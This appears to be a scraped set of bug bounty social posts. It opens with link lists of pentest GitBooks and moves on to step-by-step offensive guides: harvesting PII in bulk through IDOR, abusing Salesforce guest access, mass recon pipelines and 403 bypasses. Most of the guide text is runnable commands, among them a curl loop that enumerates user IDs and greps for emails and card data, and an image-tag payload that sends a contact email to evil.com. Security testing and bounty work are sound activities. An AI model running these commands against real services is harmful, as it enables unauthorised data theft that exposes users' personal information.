Bug Bounty - GitBook

Hackers Rest Hacker's Rest >Tools & Cheatsheets Hacking Methodology Hands-on Practice >LINUX Linux Basics Hardening & Setup Red Team Notes Vim >WINDOWS Windows Basics PowerShell Hardening & Setup Red Team Notes >MACOS MacOS Basics Hardening & Configuration Red Team Notes >WEB Burp Suite DNS Web Notes >MOBILE iOS Android >OS AGNOSTIC Basic Enumeration Cryptography & Encryption Network Hardware OS Agnostic OSINT Password Cracking Pivoting Reverse Engineering & Binary Exploitation Scripting SQL SSH & SCP Steganography Wireless Unsorted Link 🔗:- https://zweilosec.gitbook.io/hackers-rest @GitBook_s

Software Security >PREREQUISITES Prerequisites >INTRODUCTION Cyber security principles Basic web concepts Basic browser security concepts Basic security concepts >ACCESS CONTROL: BASICS Authentication Authorization Session Management CSRF SSRF >ACCESS CONTROL: ADVANCED Authentication >INJECTION ATTACKS Injection attacks SQL Injection Command Injection Cross-site scripting Subresource integrity Sandboxing >HTTPS HTTPS Introduction to cryptography PKI Setting up HTTPS References >HTTP HEADERS FOR SECURITY HTTP Headers >THREAT MODELING Threat modeling introduction Threat modeling basics Inspiration for threats >BRINGING IT ALL TOGETHER Acomperhensive overview of controls Link 🔗:- https://apwt.gitbook.io/software-security @GitBook_s

StaphySec Resources Tricks Brute Force - CheatSeet File Transfer Hashcat Cheatsheet Curl >Tools Cracking Information Gathering XSS Obfuscation Credentials Theft/Win Content Management System(CMS) >Programing and Scripting Virtualenv & Switching Versions Python >Shells Shells(Linux,Windows,Msfvenom) >Linux Cheatsheet EOP Linux Tools and Resources Blogs >Windows Cheatsheet EOP Windows Tools and Resources Useful commands and Modules >Blogs Miscellaneous resources >Pentesting 21 Pentesting FTP 22 Pentesting SSH 25,465,587 Pentesting SMTP 53 Pentesting DNS 110,995 Pentesting POP 135 Pentesting WMI 139,445 SMB Pentesting 143,993 Pentesting IMAP 161,162,10161,10162/udp Pentesting SNMP 623 /UDP/TCP - IPMI 1433 Pentesting mssql 2049 NFS Pentesting 3306 Pentesting Mysql 3389 Pentesting RDP 5985,5986 WinRm >Pentesting Web SQL Injections Command injection File Uploads Abusing Intermediary Applications HTTP Verb Tampering IDOR File Inclusion/Directory Traversal XXE-XEE-XML External Entity SSRF SSI/ESI SSTI XSLT Server Side Injection(Extensible Stylesheet Language Transformations) Link 🔗:- https://staphysec.gitbook.io/staphysec @GitBook_s

infosecgirls Introduction Application Details >INITIAL SETUP WITH OWASP ZAP OWASP ZAP Setup OWASP ZAP Modes Automated Scan Report Generation >INITIAL SETUP WITH BURP. Start Burp Suite Add FoxyProxy Addon Add New Proxy In FoxyProxy Configure Proxy Listener Install Burp's CA Certificate In Firefox Getting Rid of Unnecessary Browser Traffic >QUICK BASICS Disable Intercept Mode in Burp Enable Intercept Mode in Burp Send to Repeater Send to Comparer >WEB APPLICATION PENTESTING A1 - Injection A2 - Broken Authentication A3 - Sensitive Data Exposure A4- XML External Entities (XXE) A5 - Broken Access Control A6 - Security Misconfiguration A7 - Cross-Site Scripting (XSS) A8 - Insecure Deserialization A9 - Using Components with Known Vulnerabilities 10 - Insufficient Logging & Monitoring References About Us >ADDITIONAL CONTENT Insecure Direct Object Reference Security Misconfiguration Password Guessing Attack User Enumeration Custom Iterator Null Payload Request in Browser: Privilege Escalation Check >BURP EXTENDERS Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Link 🔗:- https://infosecgirls.gitbook.io/infosecgirls-training/v/appsec/ @GitBook_s

H12006 - Write up WriteUp | - Passive Reconnaissance ll - Active Reconnaissance lll - Server Side Request Forgery IV - Android Reverse Engineering V - Know your staff VI - You will pay for this ! Link 🔗:- https://techbrunch.gitbook.io/h12006 @GitBook_s

refabr1k's Pentest Notebook Steganography Kali USB with persistence memory useful tools Understanding ICACLS permissions >INFO GATHERING Port Knocking 22 tcp - SSH 25 top - SMTP 53 tcp/udp - DNS 88 tcp - Kerberos 161 udp - SNMP 1098,1099 tcp - Java RMI 8009 tcp - AJP 5901,5902 tcp - VNC >WEB XSS cookie stealing PHP Webdav Wordpress XML RPC SQL Injection SSRF >EXPLOITATION File Transfers Buffer Overflow Bruteforce PHP rce Compiling msfvenom Reverse shell Using ENV to escape Bad Characters shellshock Ncat Persistent Backdoor PRIVESC - LINUX Basic checks Upgrading Shells SUID >PRIVESC - WINDOWS Basic checks/powershell Privesc Openings LonelyPotato - SelmpersonatePrivilege Enable RDP @ Firewall NTLM (Pass The Hash) >WINDOWS NTDS.dit Responder / SMB Relay Attacking AD >METASPLOIT Basic Usage Meterpreter >UNSORTED other notes >ELEARNSECURITY EJPT eJPT notes >OSWP Getting started WEP Attacks WPA/WPA2 Attacks >SCRIPTS get port from nmap Curl response ping sweep iptables-counter.sh (DNS) zonetransfer_check.sh (DNS) dns-rev-brute.sh (DNS) dns-fwd-brute.sh (SMB) vuln-scan.sh (SMB) samba-checker.sh (SMTP) vrfy.py (SNMP) mib-check.sh >ZERODAY VULNERABILITIES EXPLAINED 2020-12 Solarwind supply chain Link 🔗:- https://refabr1k.gitbook.io/oscp @GitBook_s

Security Knowledge Framework Introduction Auth Bypass Auth Bypass - 1 Auth Bypass - 2 Auth-bypass-3 Auth-bypass-Simple Client Side Restriction Bypass Client Side Restriction Bypass - Harder Client Side Template Injection (CSTI) Command Injection (CMD) Command Injection 2 (CMD-2) Command Injection 3 (CMD-3) Command Injection 4 (CMD-4) Command Injection Blind (CMD-Blind) Content-Security-Policy (CSP) CORS exploitation Credentials Guessing Credentials Guessing - 2 Cross Site Scripting (XSS) Cross Site Scripting - Attribute (XSS-Attribute) Cross Site Scripting - href (XSS-href) Cross Site Scripting - DOM (XSS- DOM) Cross Site Scripting - DOM-2 (XSS- DOM-2) Cross Site Scripting - Stored (XSS- Stored) CSRF CSRF - Samesite CSRF - Weak CSS Injection (CSSI) Deserialisation Java (DES-Java) Deserialisation Yaml (DES-Yaml) Deserialisation Pickle (DES-Pickle) Deserialisation Pickle 2 (DES-Pickle-2) DoS Regex File upload Formula Injection GraphQL DOS GraphQL IDOR GraphQL Injections GraphQL Introspection GraphQL Mutations Host Header Injection (Authentication Bypass) HttpOnly Session Hijacking XSS Information Leakeage in Comments Information Leakeage in Metadata Insecure Direct Object References (IDOR) JWT Null JWT Secret Ldap Injection Ldap Injection - harder Local File Inclusion 1 (LFI-1) Local File Inclusion 2 (LFI-2) Local File Inclusion 3 (LFI-3) Parameter Binding Prototype Pollution Race Condition Race Condition File-Write Ratelimiting (Brute-force login) Remote File Inclusion (RFI) Right To Left Override (RTLO) Server Side Request Forgery (SSRF) Server Side Template Injection (SSTI) Session Hijacking XSS Session Puzzling Session Management 1 SQLI (Union) SQLI Login Bypass SQLI (Like) SQLI (Blind) TLS Downgrade Untrusted Sources (XSSI) URL Redirection URL Redirection - Harder URL Redirection - Harder-2 WebSocket Message Manipulation XML External Entity (XXE) Exposed docker daemon template item Link 🔗:- https://skf.gitbook.io/asvs-write-ups/ @GitBook_s

AppSec Overview Write Ups Compilations/Resources main Resources Labs >Cross Site Request Forgery > Missing Access Controls >LFI >XXE >Injection Command Injection Server Side Template Injection SQL Injection >SSRF >Unvalidated Redirects and Forwards >Verbose Error messages and Stack Traces Link 🔗:- https://evanluke.gitbook.io/appsec @GitBook_s

Leet Sheet >Reconnaissance Automated Reconnaissance Domains Scour the Web Metadata >Web App Hacking Enumeration User Attacks Database Attacks Server Attacks DNS Attacks Cloud Attacks Interesting Outdated Attacks >Network Hacking General Enumeration RPC LDAP SMB SNMP WMI SSH Kerberos NTLM Man-in-the-Middle WinRM >Post Exploitation Windows Linux Docker Container General >Various CVEs SSH Agent Hijacking Password Cracking Cryptography Non-Hacking Malware Forensics >Binary Exploitation Base Knowledge Format Strings Exploits Stack Smashing Heap Exploits Time-of-Check to Time-of-Use Shellcode Decompilation Debugging Exploit Mitigations and Protections Exploit Protection Bypassing Passing Input Fuzzing Automatic Exploitation >phisical security Mechanical Locks Electronic Locks Other Attacks Destructive Entry Elevator Attacks >Social Engineering Phishing Link 🔗:- https://heinosass.gitbook.io/leet-sheet @GitBook_s

wiki.hackerlab.cz >Web Pentesting HTTP Request Smuggling SSTI Insecure Deserialization Brute Force Shell Fu - onliners CORS Special Chars & NULL Bytes XSS XEE SQL Injection Blind SQL Injection SQLmap NoSQL Injection CRLF Injection Input Validation - Fuzz1 HTTP Headers - X-Forwarded Log4j Enumeration with Wordlists Bug Bounty - Web Recon HTTP Proxy Override CSV Injection Windows Forbiden File Name Path Traversal OS Command Injection Open Redirect JWT Token Upload RCE GUID and UUIDs >Toolset Git - Repo and Tools Docker for Pentesters >Infrastructure Pentesting Windows Post Exploitation Dump File Analysis Active Directory NFS Enumration >Other Pentest Project Security Projects >Wifi Pentesting Kali Linux - Alpha card AWUS 1900(VirtualBox) Active Card & Monitor Mode Aircrack-ng Suite Certs >Linux Network Manager >Books The Hacker Playbook 3 Link 🔗:- https://hackerlab.gitbook.io/wiki.hackerlab.cz/ @GitBook_s

wiki.hackerlab.cz >Web Pentesting HTTP Request Smuggling SSTI Insecure Deserialization Brute Force Shell Fu - onliners CORS Special Chars & NULL Bytes XSS XEE SQL Injection Blind SQL Injection SQLmap NoSQL Injection CRLF Injection Input Validation - Fuzz1 HTTP Headers - X-Forwarded Log4j Enumeration with Wordlists Bug Bounty - Web Recon HTTP Proxy Override CSV Injection Windows Forbiden File Name Path Traversal OS Command Injection Open Redirect JWT Token Upload RCE GUID and UUIDs >Toolset Git - Repo and Tools Docker for Pentesters >Infrastructure Pentesting Windows Post Exploitation Dump File Analysis Active Directory NFS Enumration >Other Pentest Project Security Projects >Wifi Pentesting Kali Linux - Alpha card AWUS 1900(VirtualBox) Active Card & Monitor Mode Aircrack-ng Suite Certs >Linux Network Manager >Books The Hacker Playbook 3 Link 🔗:- https://hackerlab.gitbook.io/wiki.hackerlab.cz/ @GitBook_s

Got stuck during an API pentest? Expand your attack surface! Find sub/sibling domains using http://Virustotal.com & http://Censys.io. Some of these domains might expose the same APIs with different configurations/versions. #api @GitBook_s

Use Mass Assignment to bypass security mechanisms. E.g., "enter password" mechanism: POST /api/reset_pass requires old password. PUT /api/update_user is vulnerable to MA == can be used to update pass without sending the old one (For CSRF) #api @GitBook_s

🛠️ Mass PII Exposure Exploitation Guide (Advanced) A step-by-step blueprint to find mass PII leaks in companies (and why 95% of hackers MISS them). Ready? Let’s go — 🧵 ⸻ #2 🔥 Step 1: Identify Target Endpoints Look for sensitive routes: •/account •/checkout •/billing •/payment •/orders •/api/user •/api/profile •/customer/* ✅ Tools: waybackurls http://target.com | grep -Ei '(account|checkout|billing|payment|orders|invoice|api/user|api/profile|customer)' gau http://target.com | grep -Ei '(account|checkout|billing|payment|orders|invoice|api/user|api/profile|customer)' ⸻ #3 🔥 Step 2: Check for Unauthenticated Access Before login, test: curl -i https://target.com/account curl -i https://target.com/api/user Look for: •200 OK (bad ➔ data leaks) •403/401 (expected) 👉 If 200 OK + data ➔ Vulnerable ⸻ #4 🔥 Step 3: Bruteforce User IDs (IDOR) If API like /api/user/{user_id} exists: ✅ Bruteforce: for id in $(seq 1 1000); do curl -s "https://target.com/api/user/$id" | grep -iE "(email|address|phone|card)" done If no auth needed ➔ Jackpot 💥 ⸻ #5 🔥 Step 4: Header Manipulation APIs like /api/user/me often trust headers. ✅ Example: curl -H "X-User-ID: 2" https://target.com/api/user/me Or tamper JWT tokens manually (IDOR via token switching). ⸻ #6 🔥 Step 5: Parameter Pollution Attack If app accepts multi-user_id parameters: https://target.com/checkout?user_id=2&user_id=1 ✅ Try injecting another user_id. Sometimes backend uses first, sometimes last parameter — causing auth bypass! ⸻ #7 🔥 Step 6: Exploit GraphQL Endpoints (Optional) If target uses GraphQL: ✅ Query sensitive fields: { user(id: 1){ name email address phone creditCard } } If no auth required ➔ Total PII dump. ⸻ #8 🔥 Step 7: Chain with Public Sensitive Files After leaking emails: ✅ Search public uploads: waybackurls http://target.com | grep -Ei '\.(pdf|doc|docx|csv|xls)' Often invoices, receipts, user exports are exposed without auth. Goldmine. ⸻ #9 🏴‍☠️ Final Checklist Before Reporting ✅ Did you access someone else’s data? ✅ Was authentication missing? ✅ Can you enumerate users easily? ✅ Can you download invoices/receipts? If yes ➔ HIGH impact vulnerability. ⸻ #10 📢 How to Write the Exploit PoC Title: Mass PII Exposure via Unauthenticated API Summary: /api/user/{user_id} returns full PII without auth. Steps: 1.Visit https://target.com/api/user/1 2.Receive: { "name": "John Doe", "email": "john@example.com", "address": "123 Main St", "card_last4": "4242" } 3.Increment user_id to leak 1000s of users. ⸻ #11 ⚡ Impact: •GDPR Violation •PCI-DSS Violation •$20M+ Fines •Class-action lawsuits •Permanent brand damage ⸻ #12 👀 Want the FULL private PDF version of this guide? (with bonus tricks: Shodan dorks, JWT tampering, cache poisoning, API fuzzing…) 📩 DM me ‘PDF’ on Instagram! 📸 IG: @TheMsterDoctor1 🧠 Let’s level up together.

@TheMsterDoctor1 Advanced Salesforce Help Desk Misconfiguration Hunting Guide 1. Subdomain & Asset Discovery Use passive and active enumeration to discover potential Salesforce-based help desk instances: # Passive discovery amass enum -d http://target.com assetfinder --subs-only http://target.com gau http://target.com | grep -Ei 'salesforce|force\.com' # Certificate transparency curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | grep -Ei 'salesforce|helpdesk' Target patterns: *.lightning.force.com *.my.salesforce.com http://support.target.com http://helpdesk.target.com 2. URL & Endpoint Mapping Map common Salesforce community and help desk paths. Focus on: Case detail pages Guest user views Password reset tokens File attachments Known endpoints: /500/o (Case object) /apex/CaseDetail /apex/CaseAttachment /s/case/* (Experience Cloud) /sfsites/c/* (Community portals) Scan with: ffuf -u https://target.lightning.force.com/FUZZ -w common-salesforce.txt 3. Guest Access Exploitation Salesforce sometimes allows guest profiles to access objects (like Cases or Attachments) due to poor ACL (Access Control List) configurations. Submit a ticket as guest. Get the ticket ID from the response (500xxxxxxxxxxxx). Attempt direct access: https://[subdomain].my.salesforce.com/500xxxxxxxxxxxx Change the ID incrementally or use predictable patterns to attempt IDOR: for i in {100..110}; do curl -s "https://[target]/5005x0000ABC00$i"; done Check response for: Full name Email Internal staff comments Attached files Internal object relationships 4. Privilege Escalation via Metadata Exposure Accessing certain endpoints as a guest or low-privilege user may reveal: Apex controller logic Misconfigured VF pages (/apex/PageName) Metadata API leaks Workflow logic that could be abused Use this endpoint to gather metadata: GET /services/data/vXX.X/sobjects Authorization: Bearer <token> Also, inspect /sfsites/aura for: Component definitions Undocumented Apex methods Open object bindings 5. Account Takeover (ATO) Vectors Explore these scenarios: Token-based password reset: URL: https://[domain]/secur/forgotpassword.jsp Manipulate the un or username parameter Check if token is leaked via response or timing attacks Auth bypass with session cookies: Replay authenticated sessions across subdomains. Test for SameSite=None misconfigurations. Login CSRF or Oauth misconfig: Abuse Salesforce's social login or connected apps. Test for redirect_uri misvalidation. 6. Attachments & PII Leaks When accessing case records, Salesforce may expose: PDF/CSV attachments Uploaded images Internal documentation Try this pattern: https://[target].my.salesforce.com/sfc/servlet.shepherd/document/download/<docID> If open, these endpoints may allow full PII leaks. 7. Automation and Detection Use Burp Suite with custom intruder payloads for IDOR brute-forcing. Monitor JavaScript files (especially from /resource) for hardcoded API endpoints. Implement JS analysis: http://linkfinder.py -i https://[target]/resource/salesforce.js -o cli Bonus: Tools & Payloads SalesforceScraper – automates object enumeration (private scripts often used in red teaming). Burp BApp: Salesforce Lightning Analyzer – parses component calls and VF pages. Payload for token leakage testing: <img src="https://evil.com/?leak=${!Case.ContactEmail}" />

Here’s the Ultimate Advanced Recon Methodology (2025) designed to maximize critical findings and $100k+ bounty payouts. This combines automation, deep OSINT, misconfig scanning, live data harvesting, and endpoint fuzzing across massive orgs. [0] Preparation: Scope & Strat •Pull All Programs from HackerOne, Bugcrowd, Synack, Intigriti, YesWeHack. •Prioritize Targets: •High-traffic SaaS, banks, gov, insurance, medical, e-commerce. •Public programs with poor reports / no kudos payout history = GOLD. •Use these tools across all your recon: •gau, waybackurls, subfinder, amass, httpx, ffuf, nuclei, xnLinkFinder, hakrawler, ParamSpider, Interlace. ⸻ [1] Subdomain & ASN Recon subfinder -d http://target.com -all -silent > all-subs.txt amass enum -d http://target.com -active >> all-subs.txt findomain -t http://target.com >> all-subs.txt sort -u all-subs.txt > domains.txt Expand scope via: •ASN ranges: http://bgp.he.net, whois, http://ipinfo.io/org •GitHub scraping: http://github-subdomains.py -d http://target.com -t GITHUB_TOKEN [2] Historical File Mining cat domains.txt | waybackurls | grep -Ei '\.(zip|sql|csv|env|conf|json|yml|xls|xlsx|log|bak|gz)' > wayback-files.txt cat domains.txt | gau | grep -Ei '\.(zip|sql|env|conf|...)' > gau-files.txt sort -u wayback-files.txt gau-files.txt > sensitive.txt Then validate: cat sensitive.txt | httpx -mc 200,403 -silent > live-sensitive.txt Target: backups, DBs, logs, staging files, exports, misconfigs. ⸻ [3] Hidden API Discovery + Swagger Exploits gau http://target.com | grep -i swagger > swagger.txt nuclei -l swagger.txt -t exposed-panels/swagger-api.yaml Then: •Use ffuf/dirsearch to brute /api/, /internal/, /v1/, /debug/ •Pass jwt, api_key, or nothing to test auth bypass. ⸻ [4] JS & Param Spidering for Logic Bugs subjs -i domains.txt > jsfiles.txt cat jsfiles.txt | while read url; do curl -s "$url" | grep -Eo '\/[a-zA-Z0-9_\/\-]+\.php|\.js|\.json|\.do'; done > endpoints.txt xnLinkFinder -i jsfiles.txt -o found.txt Then hunt: ffuf -w wordlists/params.txt -u 'https://target.com/page.php?FUZZ=test' -mc 200 Findings: IDOR, auth bypass, unvalidated redirects, PII dumps. ⸻ [5] Open Cloud Asset & DB Dump Recon shodan search 'product:"MongoDB" org:"Target Inc"' zoomeye search 'app:"ElasticSearch" domain:"http://target.com"' http://binaryedge.io scan domains Also: python3 cloud_enum.py -k target aws s3 ls s3://target-public/ --no-sign-request Target: DBs with email/phone/password, backup buckets, internal snapshots. ⸻ [6] Fuzzing Deeply on API & Legacy Subdomains ffuf -u https://api.target.com/FUZZ -w api-wordlist.txt -mc 200,403 ffuf -u https://staging.target.com/FUZZ -w raft-large-directories.txt -x ".zip" -t 80 Try: •/leads/, /export/, /private/, /users.json, /download?file= •Suffixes: .old, .bak, .1, .2021, .swp, .zip ⸻ [7] Nuclei + Custom Templates nuclei -l live-sensitive.txt -t cves/,exposures/,misc/ -severity high,critical -o findings.txt Create your own templates for: •Open zip file leaks •Exposed .git, .env, .DS_Store, .idea/ •Swagger files exposing full schemas ⸻ [8] Mass Auto Screenshot + Index Check gowitness file -f live-sensitive.txt --threads 50 Also: katana -list domains.txt -jc -d 10 -silent -o spidered.txt Look for: dashboard leaks, dev interfaces, localhost exposures. ⸻ [9] Bonus Tools & Automation •Interlace — run tools per host in parallel •reconFTW — full recon pipeline •ProjectDiscovery's uncovered tools — dnsx, mapcidr, uncover ⸻ [10] Focus on What Pays: High Impact Vulns Target: •Full unauth access to sensitive data •Credential leakage in backup or zip files •Misconfigured Swagger APIs & dev environments •Leaky DBs (Mongo, Redis, Elasticsearch) •IDOR and logic flaws in new endpoints ⸻ Final Advice: Keep a target vault: ongoing recon files for every scope. Check program changelogs for new in-scope assets. Monitor GitHub, uploads, buckets,

# Bypass 403 (Forbidden) 1. Using "X-Original-URL" header

GET /admin HTTP/1.1
Host: http://target.com

Try this to bypass

GET /anything HTTP/1.1
Host: http://target.com
X-Original-URL: /admin

2. Appending %2e after the first slash

http://target.com/admin => 403

Try this to bypass

http://target.com/%2e/admin => 200

3. Try add dot (.) slash (/) and semicolon (;) in the URL

http://target.com/admin => 403

Try this to bypass

http://target.com/secret/. => 200
http://target.com//secret// => 200
http://target.com/./secret/.. => 200
http://target.com/;/secret => 200
http://target.com/.;/secret => 200
http://target.com//;//secret => 200

4. Add "..;/" after the directory name

http://target.com/admin

Try this to bypass

http://target.com/admin..;/

5. Try to uppercase the alphabet in the url

http://target.com/admin

Try this to bypass

http://target.com/aDmIN

6. Via Web Cache Poisoning

GET /anything HTTP/1.1
Host: http://victim.com
X­-Original-­URL: /admin

Go & give hit for next

🔥 ADVANCED BUG BOUNTY RECON PLAYBOOK (2025) — FULL THREAD Most hackers only touch the surface. The real $$$ is in DEEP RECON. Here’s my ULTIMATE RECON PIPELINE for catching bugs everyone else misses (bookmark this): ⸻ 1️⃣ SCOPE REVIEW 🌍 Know your boundaries → authorized assets only. Scope: *.target.com This will save you from wasting time and avoid legal issues. ⸻ 2️⃣ SUBDOMAIN ENUMERATION 🧹 Tools: bbot, subfinder, amass bbot -d http://target.com subfinder -d http://target.com -o subfinder.txt amass enum -d http://target.com -o amass.txt cat *.txt | sort -u > subdomains.txt Combo hits hard → passive + active = MAX coverage. ⸻ 3️⃣ ALIVE CHECK ⚡ Tools: httpx cat subdomains.txt | httpx -silent -o alive.txt Focus only on live hosts = speed & efficiency. ⸻ 4️⃣ CRAWL ALIVE DOMAINS 🕷️ Tools: katana katana -list alive.txt -o endpoints.txt Find hidden paths + endpoints = more attack surface. ⸻ 5️⃣ SCREENSHOT EVERYTHING 📸 Tools: eyewitness eyewitness --web -f alive.txt --threads 10 -d screenshots Quickly spot interesting or juicy targets visually. ⸻ 6️⃣ AUTOMATED VULN SCAN (N-QUBE) 🚨 Tools: nuclei, nmap, nikto cat alive.txt | nuclei -t templates/ -o nuclei.txt nmap -sVC -T4 -iL alive.txt -oN nmap.txt nikto -h alive.txt -output nikto.txt Automated checks for known bugs + services = fast wins. ⸻ 7️⃣ TECH STACK FINGERPRINTING 🔬 Tools: wappalyzer, builtwith, whatruns Identify frameworks, CMS, CDN, and libraries → for targeted exploits. ⸻ 8️⃣ FINDING LOW-HANGING FRUITS 🍯 Tools: subzy, socialhunter subzy run --targets alive.txt socialhunter -f alive.txt Subdomain takeover + Broken Link Hijacking → very critical. ⸻ 9️⃣ URL GATHERING + PARAM DISCOVERY 🌐 Tools: waybackurls, gau, paramspider cat alive.txt | waybackurls | tee -a urls.txt cat alive.txt | gau | tee -a urls.txt paramspider -d http://target.com -o params.txt Old, forgotten URLs are gold → often unpatched. ⸻ 10️⃣ GOOGLE DORKING 🧙 site:http://target.com ext:sql site:http://target.com ext:bak site:http://target.com inurl:admin Hidden files, configs, backups → easy targets. ⸻ 11️⃣ GITHUB RECON 🗂️ "http://target.com" in GitHub Exposed API keys, passwords, configs → all common in dev mistakes. ⸻ BONUS → XSS / LFI / SQLi PARAMETER HUNT 🎯 Tools: gf, qsreplace, curl gf xss urls.txt | qsreplace '"><script>alert(1)</script>' | httpx -silent Test params → MASSIVE results in bug bounty. ⸻ If you run this end-to-end → you’re ahead of 90% of hunters. Recon + Automation + Low hanging fruit = $$$. ⸻ RT & Follow @TheMasterDoctor1 for more ADVANCED hacking blueprints. Will drop Part 2 (Private Recon OSINT + Stealth Recon) if this hits 500 ❤️